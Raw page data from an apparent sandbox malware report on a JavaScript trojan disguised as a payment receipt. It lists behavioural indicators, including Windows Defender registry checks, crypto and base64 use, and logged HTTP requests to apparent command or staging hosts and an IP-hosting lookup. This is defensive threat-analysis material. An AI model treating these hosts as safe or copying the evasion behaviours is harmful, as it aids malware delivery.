24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 57:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T490,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample c5b8ac5d26a9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c5b8ac5d26a9…. Malware family: Trojan.Generic. Threat score 100/100. 3/24 AV engines flagged this file. 5 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c5b8ac5d26a96a9ff4d628603e06c2fb5a40914b8fdd8b6b429a90cb72bc6828","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","c5b8ac5d26a96a9ff4d628603e06c2fb5a40914b8fdd8b6b429a90cb72bc6828"],"about":{"@type":"SoftwareApplication","name":"Comprobante de pago.js","applicationCategory":["script","javascript"],"identifier":"c5b8ac5d26a96a9ff4d628603e06c2fb5a40914b8fdd8b6b429a90cb72bc6828","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":3,"total":24},"behavioralIndicators":{"malicious":5,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T40a,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp")26:T756,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp")27:T40c,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp")28:T911,Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003340-00000BC0-2134801195") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to "AsymmetricAlgorithm" (Indicator: "AsymmetricAlgorithm"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp")29:T6bf,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER\") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER")2a:Tcfc,Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp, 00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp")2b:T434,file/memory contains long string with (Indicator: "FromBase64String"; File: "00000000-00003340") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000000.201294.CAB70000.00000004.mdmp, 00000000-00003340.00000000.201294.CC450000.00000004.mdmp, 00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CAB70000.00000004.mdmp, 00000000-00003340.00000001.201439.CC450000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found reference to API "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp")2c:T59d,Contains base64 string in header "like" in header "GET /eghdpz HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: rough-truth-e072.publicftpresend.workers.devConnection: Keep-Alive" Contains base64 string in header "e072" in header "GET /eghdpz HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: rough-truth-e072.publicftpresend.workers.devConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /eghdpz HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: rough-truth-e072.publicftpresend.workers.devConnection: Keep-Alive" Contains base64 string in header "mxConnection" in header "GET /administrator/ognltimg_051814.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept: image/webp, image/apng, image/*, */*; q=0.8Host: adcentral.com.mxConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /administrator/ognltimg_051814.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept: image/webp, image/apng, image/*, */*; q=0.8Host: adcentral.com.mxConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive"2d:T577,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Command line contains long Base64-encoded string Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to perform cryptographic operations Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match – Encryption algorithm2e:T1daa,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002120) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002120) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac6e7df87f0000000000000000000051ed987ef87f000000000000e20100000000000000000000793e2aac95e300002a00000000000000303ad36fe20100008fec987ef87f0000e0ac6e7df87f0000e0ac6e7df87f0000000000000000000000000000f87f0000ffffff7f37b1000000000000000000000000000000000000d8ce627df87f00002a0000000000000069c31b7df87f00003100000000000000e802000000000000ec02000000000000110001100000000090cf6fc31300000003a3ea7cf87f000090cf6fc31300000000000000000000002b00000000000000000000000000000020b0217df87f0000b43f207df87f0000e0ce627d (UID: 00000000-00002120) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000c00ced6fe20100001c000000000000003000000000000000000000000000000000000000000000000000000000000000f8dd6fc31300000000000000000000000300000000000000300000000000000020000000000000000000d06fe20100003289967ef87f0000400000000000000000000000e201000020000000000000000000000000000000120000000000000000000000000000000000000000000000020000001300000000000000000000000300000000000000300000000000000020000000000000000000d06fe20100003289967ef87f000000000000 (UID: 00000000-00002120) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac6e7df87f0000000000000000000051ed987ef87f000000000000e40100000000000000000000bc7b1b48652600002a0000000000000000d2b3cce40100008fec987ef87f0000e0ac6e7df87f0000e0ac6e7df87f0000000000000000000000000000f87f0000ffffff7f81df000000000000000000000000000000000000d8ce627df87f00002a0000000000000069c31b7df87f00003100000000000000d003000000000000d403000000000000110001100000000040d20f87ce00000003a3ea7cf87f000040d20f87ce00000000000000000000002b00000000000000000000000000000020b0217df87f0000b43f207df87f0000e0ce627d (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000b7cae40100000b8e967ef87f00000000b7cae40100000200000000000000380000000000000040000000000000003003b7cae401000068e1d487ce0000000100000000000000030000000000000001000000000000000d0000000000000040117ecae4010000000000000000000000007ecae401000068db2ae5e40100000000000000000000ba00000001000000000000000000000080000000000000000400000000000000000000000000000028e42ae5e401000004000000000000003800000000000000f098e97cf87f000038000000000000003800000000000000e0e2d487ce000000c00c7647f87f000000000000 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0cb62f87f0000070000000000000000000000000000000100000000000000700419e5e4010000000000000000000010811be5e40100004c98e97cf87f000090b81be5e4010000b3ce6c47f87f0000b0851be5e4010000004fcb62f87f0000d0b0cb62f87f000000000000000000000000000000000000b0851be5e4010000700419e5e4010000302a19e5e401000038e3d487ce0000004c98e97cf87f0000010000000000000038e3d487ce000000302a19e5e4010000b0851be5e4010000010000000000000002bc6c47f87f000020851be5e4010000a0511ae5e4010000feffffff040000007df0ca62f87f0000502a19e5 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000700419e5e4010000000000000000000010811be5e40100004c98e97cf87f000010ae1be5e4010000b3ce6c47f87f0000a0831be5e4010000384fcb62f87f0000d0b0cb62f87f000000000000000000000000000000000000a0831be5e4010000700419e5e4010000302a19e5e401000030e3d487ce0000004c98e97cf87f0000010000000000000030e3d487ce000000302a19e5e4010000a0831be5e4010000010000000000000002bc6c47f87f00000000000000000000a0511ae5e401000020851be504000000feffffffffffffff700419e5e40100007df0ca62f87f000000000000 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003340) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003340)2f:T754,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000fb74f77f00000000000000000000180000000000000000000000000000000000000000000000490b2aac95e3000007ebb77802e400000000fb74f77f000011c64d6cf87f000006000000130000000000000000000000011fd06fe20100001f00000000000000000010000600000000000000000000000000fb74 (UID: 00000000-00002120) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000c00000002000000010100002e000000e55bf66a9584000000000000000000008cf46fc31300000000000000000000004ef7bf7bf87f00008cf46fc3130000000000000000000000000000000000000099dd717cf87f0000000000000000000030ee6fc31300000040ee6fc313000000010000001300000000000000 (UID: 00000000-00002120) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bc07bf87f00000000e861f87f0000000000000000000000000000000000000806e961f87f00000001000000000000f098e97cf87f00000001000000000000000100000000000000000000000000000006e961f87f000001000000000000000f18e861f87f000000000000000000000006e961f87f000000000000 (UID: 00000000-00002120) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31895ff87f0000708b8b5ff87f00000200000000000000708b8b5ff87f000000000000000000000300000000000000b131895ff87f0000a8158c5ff87f000020873e72e201000030873e72e2010000888b8b5ff87f00000100000000000000239feb7cf87f00000000000000000000888b8b5ff87f000006000000 (UID: 00000000-00002120) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000740065006d00730068007500740064006f0077006e006500780061000000740000000000696775726174696f6e3e00000000b2ae977e001100806300720079007000740069006d0070006f00720074007000750062006c00690063006b006500790069006e0066006f006500780000000000000000000000000000000000 (UID: 00000000-00003340)30:T59b,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")31:Ta0f,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: 